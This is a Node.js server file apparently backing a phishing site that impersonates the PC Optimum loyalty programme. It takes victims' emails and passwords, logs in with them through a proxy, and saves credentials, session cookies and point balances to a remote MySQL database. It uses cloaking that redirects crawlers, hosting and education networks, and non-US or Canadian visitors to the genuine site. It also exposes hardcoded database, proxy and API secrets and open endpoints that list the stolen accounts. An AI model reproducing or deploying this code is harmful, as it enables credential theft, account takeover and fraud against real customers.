app.mjs 8.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.js";
  7. import axios from "axios";
  8. import is_ip_private from "private-ip";
  9. import { Crawler, middleware } from "es6-crawler-detect";
  10. const __filename = fileURLToPath(import.meta.url);
  11. const __dirname = dirname(__filename);
  12. const fastify = Fastify({
  13. trustProxy: true,
  14. logger: {
  15. level: "error",
  16. },
  17. });
  18. fastify.register(fastifyStatic, {
  19. root: resolve(__dirname, "public"),
  20. prefix: "/",
  21. });
  22. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  23. host: "38.180.126.100",
  24. dialect: "mysql",
  25. logging: false,
  26. });
  27. const Accounts = sequelize.define(
  28. "accounts",
  29. {
  30. // Model attributes are defined here
  31. email: {
  32. type: DataTypes.STRING,
  33. allowNull: false,
  34. },
  35. password: {
  36. type: DataTypes.STRING,
  37. allowNull: false,
  38. },
  39. userAgent: {
  40. type: DataTypes.TEXT("long"),
  41. allowNull: true,
  42. },
  43. ip: {
  44. type: DataTypes.STRING,
  45. allowNull: true,
  46. },
  47. success: {
  48. type: DataTypes.BOOLEAN,
  49. allowNull: false,
  50. defaultValue: false,
  51. },
  52. result: {
  53. type: DataTypes.TEXT("long"),
  54. allowNull: true,
  55. },
  56. error: {
  57. type: DataTypes.TEXT("long"),
  58. allowNull: true,
  59. },
  60. balance: {
  61. type: DataTypes.STRING,
  62. allowNull: true,
  63. },
  64. dollarsRedeemable: {
  65. type: DataTypes.STRING,
  66. allowNull: true,
  67. },
  68. cookies: {
  69. type: DataTypes.TEXT("long"),
  70. allowNull: true,
  71. },
  72. browserOptions: {
  73. type: DataTypes.TEXT("long"),
  74. allowNull: true,
  75. },
  76. },
  77. {
  78. // Other model options go here
  79. }
  80. );
  81. const Settings = sequelize.define(
  82. "settings",
  83. {
  84. // Model attributes are defined here
  85. name: {
  86. type: DataTypes.STRING,
  87. allowNull: false,
  88. },
  89. value: {
  90. type: DataTypes.STRING,
  91. allowNull: true,
  92. },
  93. },
  94. {
  95. // Other model options go here
  96. }
  97. );
  98. sequelize
  99. .authenticate()
  100. .then(async () => {
  101. await sequelize.sync();
  102. Settings.findAll().then((settings) => {
  103. if (!settings.find((setting) => setting.name === "block_hosting")) {
  104. Settings.create({ name: "block_hosting", value: "true" });
  105. }
  106. if (!settings.find((setting) => setting.name === "match_country")) {
  107. Settings.create({ name: "match_country", value: "US,CA" });
  108. }
  109. if (!settings.find((setting) => setting.name === "proxy_host")) {
  110. Settings.create({
  111. name: "proxy_host",
  112. value: "199.188.93.128:8000",
  113. });
  114. }
  115. if (
  116. !settings.find((setting) => setting.name === "proxy_username")
  117. ) {
  118. Settings.create({ name: "proxy_username", value: "proxy" });
  119. }
  120. if (
  121. !settings.find((setting) => setting.name === "proxy_password")
  122. ) {
  123. Settings.create({ name: "proxy_password", value: "40gyxQ2" });
  124. }
  125. });
  126. })
  127. .catch((error) => {
  128. console.error("Unable to connect to the database:", error);
  129. });
  130. fastify.addHook("onRequest", async (request, reply) => {
  131. if (request.url === "/crushing0853.html") {
  132. return;
  133. }
  134. if (/(^\/$)|(\.html$)/.test(request.url)) {
  135. var CrawlerDetector = new Crawler(request);
  136. if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
  137. return reply
  138. .code(302)
  139. .header("Location", "http://localhost")
  140. .send();
  141. }
  142. const blockHosting =
  143. (
  144. (await Settings.findOne({
  145. where: { name: "block_hosting" },
  146. })) || { value: "true" }
  147. ).value === "true";
  148. const matchCountry = (
  149. await Settings.findOne({
  150. where: { name: "match_country" },
  151. })
  152. ).value
  153. .split(",")
  154. .filter((country) => !!country);
  155. try {
  156. const ip = request.ip;
  157. console.log(ip);
  158. if (ip && !is_ip_private(ip)) {
  159. const { data: ipInfo } = await axios.get(
  160. `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
  161. );
  162. if (
  163. blockHosting &&
  164. ["cdn", "hosting", "education"].includes(
  165. ipInfo.connection.type
  166. )
  167. ) {
  168. return reply
  169. .code(302)
  170. .header("Location", "https://www.pcoptimum.ca")
  171. .send();
  172. }
  173. if (
  174. matchCountry.length &&
  175. !matchCountry.includes(ipInfo.location.country.code)
  176. ) {
  177. return reply
  178. .code(302)
  179. .header("Location", "https://www.pcoptimum.ca")
  180. .send();
  181. }
  182. }
  183. } catch (error) {
  184. console.error(error.stack);
  185. }
  186. }
  187. });
  188. fastify.post("/settings", async function (request, reply) {
  189. const { name, value } = request.body;
  190. const setting = await Settings.findOne({ where: { name } });
  191. if (setting) {
  192. setting.value = value;
  193. await setting.save();
  194. } else {
  195. await Settings.create({ name, value });
  196. }
  197. return reply.code(200).send();
  198. });
  199. fastify.get("/settings", async function (request, reply) {
  200. return await Settings.findAll();
  201. });
  202. fastify.post("/login", async function (request, reply) {
  203. if (!request.body || !request.body.email || !request.body.password) {
  204. return reply
  205. .code(400)
  206. .send({ error: "email and password are required" });
  207. } else {
  208. const { email, password } = request.body;
  209. const proxy_host = (
  210. await Settings.findOne({ where: { name: "proxy_host" } })
  211. )?.value;
  212. const proxy_username = (
  213. await Settings.findOne({ where: { name: "proxy_username" } })
  214. )?.value;
  215. const proxy_password = (
  216. await Settings.findOne({ where: { name: "proxy_password" } })
  217. )?.value;
  218. let proxy = null;
  219. if (proxy_host && proxy_username && proxy_password) {
  220. proxy = {
  221. server: proxy_host,
  222. username: proxy_username,
  223. password: proxy_password,
  224. };
  225. }
  226. try {
  227. const { points, cookies, options } = await login(
  228. email,
  229. password,
  230. proxy
  231. );
  232. let balance = null;
  233. let dollarsRedeemable = null;
  234. if (points) {
  235. try {
  236. const json = JSON.parse(points);
  237. balance = json.balance + "";
  238. dollarsRedeemable = json.dollarsRedeemable + "";
  239. } catch (error) {}
  240. }
  241. const account = await Accounts.create({
  242. email,
  243. password,
  244. userAgent: request.headers["user-agent"],
  245. success: true,
  246. result: points,
  247. balance,
  248. dollarsRedeemable,
  249. cookies,
  250. browserOptions: JSON.stringify(options),
  251. });
  252. return reply.code(200).send();
  253. } catch (error) {
  254. console.error(error.stack);
  255. const account = await Accounts.create({
  256. email,
  257. password,
  258. userAgent: request.headers["user-agent"],
  259. success: false,
  260. error: error.stack,
  261. });
  262. return reply.code(500).send(error);
  263. }
  264. }
  265. });
  266. fastify.get("/list", async function (request, reply) {
  267. let page = request.query.page ? parseInt(request.query.page) : 0;
  268. const query = {};
  269. if (request.query.success) {
  270. query.success = request.query.success === "true";
  271. }
  272. const accounts = await Accounts.findAll({
  273. offset: 20 * page,
  274. limit: 20,
  275. order: [["createdAt", "DESC"]],
  276. where: query,
  277. });
  278. const total = await Accounts.count({ where: query });
  279. return {
  280. data: accounts,
  281. total,
  282. };
  283. });
  284. fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
  285. if (err) {
  286. fastify.log.error(err);
  287. process.exit(1);
  288. }
  289. });